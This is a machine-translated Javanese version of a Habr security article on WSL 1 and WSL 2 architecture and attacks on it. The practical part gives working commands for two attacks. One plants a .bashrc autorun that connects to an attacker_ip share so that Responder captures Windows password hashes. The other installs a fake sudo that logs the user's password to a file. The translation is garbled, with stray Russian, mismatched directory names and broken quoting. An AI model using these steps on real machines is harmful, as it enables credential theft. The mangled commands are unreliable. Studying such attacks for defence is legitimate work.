eksperimen WSL. Bagean 1

Halo, mbah! OTUS ngluncurake aliran kursus anyar ing wulan Oktober "Linux Keamanan". Kanggo nunggu wiwitan kursus, kita nuduhake karo sampeyan artikel sing ditulis dening salah sawijining guru, Alexander Kolesnikov.

eksperimen WSL. Bagean 1

Ing 2016, Microsoft ngenalake teknologi WSL anyar menyang komunitas IT (Windos Subsystem kanggo Linux), sing ing mangsa ngarep bisa nggabungake pesaing sing ora bisa digabungake sadurunge sing berjuang kanggo popularitas ing antarane pangguna OS biasa lan maju: Windows lan Linux. Teknologi iki ndadekake bisa nggunakake piranti Linux OS ing lingkungan Windows tanpa perlu mbukak Linux, contone, nggunakake Multi-boot. Ing Habr sampeyan bisa nemokake akeh artikel sing njlèntrèhaké keuntungan saka nggunakake WSL. Nanging, sayangé, nalika nggawe artikel iki, ora ana studi babagan keamanan simbiosis sistem operasi kasebut ing sumber iki. Kiriman iki bakal dadi upaya kanggo mbenerake iki. Artikel kasebut bakal ngomong babagan fitur arsitektur WSL 1 lan 2 lan nliti sawetara conto serangan ing sistem sing nggunakake teknologi kasebut. Artikel dipérang dadi 2 bagéan. Pisanan bakal nyedhiyakake metode serangan teoritis utama saka Linux lan Windows. Artikel kapindho bakal melu nyetel lingkungan tes lan ngasilake serangan.

WSL 1: fitur arsitektur

Kanggo nyilem paling akurat menyang masalah keamanan WSL, perlu kanggo nemtokake nuansa utama sing digandhengake karo implementasine saka subsistem. Salah sawijining tugas pangguna utama sing ditanggulangi dening WSL yaiku kemampuan kanggo nggarap terminal Linux ing host sing nganggo OS Windows. Kajaba iku, kompatibilitas sing ditawakake asline saengga Linux executable (ELFs) bisa langsung diluncurake ing sistem Windows. Kanggo nggayuh tujuan kasebut, subsistem khusus digawe ing Windows 10 sing ngidini sampeyan mbukak aplikasi Linux nggunakake sakumpulan panggilan sistem tartamtu - mula, ana upaya kanggo nggawe peta sakumpulan syscalls Linux ing Windows. Iki ditindakake kanthi fisik kanthi nambahake driver anyar lan format proses anyar. Secara visual arsitektur katon kaya iki:

eksperimen WSL. Bagean 1

Nyatane, interaksi karo sistem operasi Linux diatur liwat sawetara modul kernel lan jinis proses khusus - pico. Saka diagram ing ndhuwur, sampeyan bisa ndeleng manawa proses sing mlaku ing instance Linux ing host kudu asli lan kudu nggunakake sumber daya sing padha karo aplikasi Windows biasa. Nanging kepiye carane entuk iki? Ing proyek Drawbridge Konsep proses kanggo Windows dikembangake sing nyedhiyakake kabeh komponen sistem operasi sing dibutuhake (gumantung versi) kanggo mbukak aplikasi OS liyane.

Elinga yen abstraksi sing diusulake ora bisa fokus ing sistem operasi (utamane, Windows), ing ngendi proses OS liyane bakal diluncurake, lan menehi saran pendekatan umum.

Mangkono, aplikasi apa wae ing proses pico bisa mlaku tanpa dipikirake karo kernel Windows:

  1. Masalah kompatibilitas lan terjemahan telpon sistem kudu ditanggulangi dening panyedhiya khusus;
  2. Kontrol akses kudu ditindakake liwat Monitor Keamanan. Monitor dumunung ing kernel lan mulane Windows mbutuhake upgrade ing bentuk driver anyar sing bisa dadi panyedhiya kanggo proses kasebut. Proses pico prototipe ditampilake kanthi skema ing ngisor iki:

eksperimen WSL. Bagean 1

Wiwit sistem file Linux nggunakake jeneng file lan direktori sing sensitif huruf cilik, 2 jinis sistem file ditambahake menyang Windows kanggo nggarap WSL - VolFS lan DriveFS. VolFS minangka implementasine saka sistem file Linux, DriveFS minangka sistem file sing dianggo miturut aturan Windows, nanging nduweni kemampuan kanggo milih sensitivitas cilik.

WSL 2

WSL 1 duwe sawetara watesan sing ora ngidini digunakake kanggo ngatasi tugas maksimal: contone, ora duwe kemampuan kanggo mbukak aplikasi Linux 32-bit, lan ora bisa nggunakake driver piranti. Mula, ing taun 2020, WSL 2 dirilis, sing ngganti pendekatan kanggo mbangun subsistem kasebut. WSL 2 minangka mesin virtual sing dioptimalake sing cocog karo karakteristik konsumsi sumber daya WSL 1. Saiki, gumantung saka masalah sing ditanggulangi dening pangguna Windows OS, sampeyan bisa milih versi subsistem Linux sing dibutuhake. Kanggo ngurangi kemungkinan kerentanan, WSL 2 diimplementasikake adhedhasar Hyper-V ing Windows 10. Ing wangun iki, Windows nduweni kemampuan kanggo mbukak kernel sistem operasi Linux kanthi isolasi. Sampeyan kudu eling yen versi 1 saka WSL dikenalake minangka fitur beta sing mesthine nuduhake arah pangembangan Windows ing wilayah iki, mula transisi menyang Hyper-V ora bisa dihindari. Arsitektur pungkasan katon kaya iki:

eksperimen WSL. Bagean 1

Ing versi iki, kernel Windows lan Linux duwe sumber daya dhewe lan persimpangan mung ana ing sistem file, nanging persimpangan iki ora lengkap. Interaksi antarane sistem file ditindakake liwat bungkus klien-server sing dianggo nggunakake protokol 9P.

Dina iki Microsoft menehi kemampuan kanggo ngalih ing antarane WSL 1 lan WSL 2. Loro-lorone versi kasedhiya kanggo nggunakake.

Keamanan WSL

Saiki, ana sawetara karya sing nggambarake sawetara pendekatan kanggo nggunakake alat OS sing sah kanggo nyerang komunikasi antarane subsistem. Kita bakal nggunakake skrip kanggo mriksa relevansi serangan nalika nulis. Dhaptar umum serangan lan skenario:

1. Implementasi sistem file: hak akses, kasedhiyan direktori sing dienggo bareng / mekanisme pertukaran data.

Riset ditindakake kanggo nemtokake pelanggaran aturan akses saka Linux FS->Windows FS, Windows FS->Linux FS. Riset wis nuduhake kemampuan kanggo ngowahi file tartamtu ing OS target. Usaha uga ditindakake kanggo ngganti, nggawe duplikat lan mbusak bagean saka sistem file.

Skenario:

  • A. Serangan saka sistem operasi Windows - modifikasi file saka direktori /etc OS Linux.
  • B. Serangan saka sistem operasi Linux - modifikasi file ing direktori: C:Windows, C:Program Files, C:Users<User>

2. Implementasi saka tumpukan jaringan.

Panliten ditindakake nggunakake conto serangan saka sistem operasi Linux ing Windows. Fitur tumpukan jaringan digunakake, yaiku, mekanisme otentikasi ing macem-macem sumber daya.

Skenario:

  • Mbukak akses menyang port sing dikuwasani ing sistem Windows
  • Mbukak port tanpa hak sing cocog
  • Mbukak cangkang mbalikke nggunakake file elf ing sistem operasi Windows.

3. Ndhelikake peluncuran pangolahan piranti lunak angkoro nggunakake subsistem WSL.

Panliten kasebut adhedhasar kasunyatan sing prasaja - subsistem keamanan ora bisa nyegat acara ing kernel liyane sing digunakake nggunakake panyedhiya sah saka sistem operasi ing kasus WSL 1. Ing kasus WSL 2, ora ana cara kanggo ndeleng acara sing kedadeyan. ing kernel kapisah ing mesin virtual entheng.

Skenario:

1) Bukak aplikasi kanggo akses remot menyang sistem lan ndeleng acara sing dicathet.

Eksperimen WSL 1: intersepsi hash (Windows)

Akhire kita tekan bagian praktis. Pisanan, sampeyan kudu nyiyapake lingkungan tes. Kabeh eksperimen bakal ditindakake ing bangku sing dipasang Windows 10 2004. Gambar Ubuntu 18.04 dipilih minangka gambar sistem operasi kanggo WSL. Gambar kasebut dipilih kanthi acak, lan liyane bakal bisa digunakake. Perintah kanggo nyetel stand:

Sampeyan kudu miwiti pisanan powershell.exe minangka administrator.

Kanggo WSL 1 sampeyan kudu mbukak printah:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Sawise reboot stand, sampeyan bisa nelpon printah bash. Yen kabeh bisa digunakake kanthi bener, sampeyan bakal weruh output sing padha karo iki ing konsol Windows:

    eksperimen WSL. Bagean 1

    Kita bakal nggunakake distribusi Kali Linux minangka mesin penyerang; kabeh mesin kudu ana ing jaringan lokal sing padha.

    Ayo nganggep manawa kita duwe akses tanpa hak kanggo WSL ing mesin Windows. Ayo nyoba nyerang sistem operasi Linux kanthi nelpon perintah saka Linux. Kanggo ngleksanakake serangan kasebut, kita bakal nggunakake teknik autorun sing prasaja - kita bakal nambah skrip kanggo eksekusi ing lingkungan Linux. Kanggo nindakake iki, sampeyan kudu ngganti file .bashrc.

    Ing mesin kanthi WSL, kita nglakokake:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Ing mesin Kali Linux kita mbukak:

    1. Responder -I eth0 -rdvw

    Ing mesin Windows, ayo miwiti bash.

    Kita ngenteni asil ing mesin Kali Linux:

    eksperimen WSL. Bagean 1

    Mangkono, kita entuk hashes pangguna Windows liwat subsistem WSL kanthi nglakokake perintah ing sistem Linux.

    Eksperimen WSL 1: entuk sandhi pangguna (Linux OS)

    Ayo eksperimen siji maneh. Sajrone mriksa iki kita bakal nambah menyang file .bashrc sawetara printah kanggo njupuk sandi pangguna sistem operasi Linux.

    Ayo miwiti bash lan ketik printah:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Kanggo sukses ngrampungake serangan kasebut, pangguna Sam kudu nelpon sudo ing terminal Linux. Sawise iki, sandhi pangguna Linux OS bakal ana ing file kasebut pass.txt:

    eksperimen WSL. Bagean 1

    Implementasi serangan kasebut diwenehake mung kanggo informasi teoritis.

    Bagian sabanjure artikel bakal njlèntrèhaké implementasi protokol 9P, nimbang nggawe scanner kanggo protokol iki, lan uga nindakake serangan nggunakake.

    Dhaptar literatur bekas

    eksperimen WSL. Bagean 1

    Waca liyane

    Source: www.habr.com

    Add a comment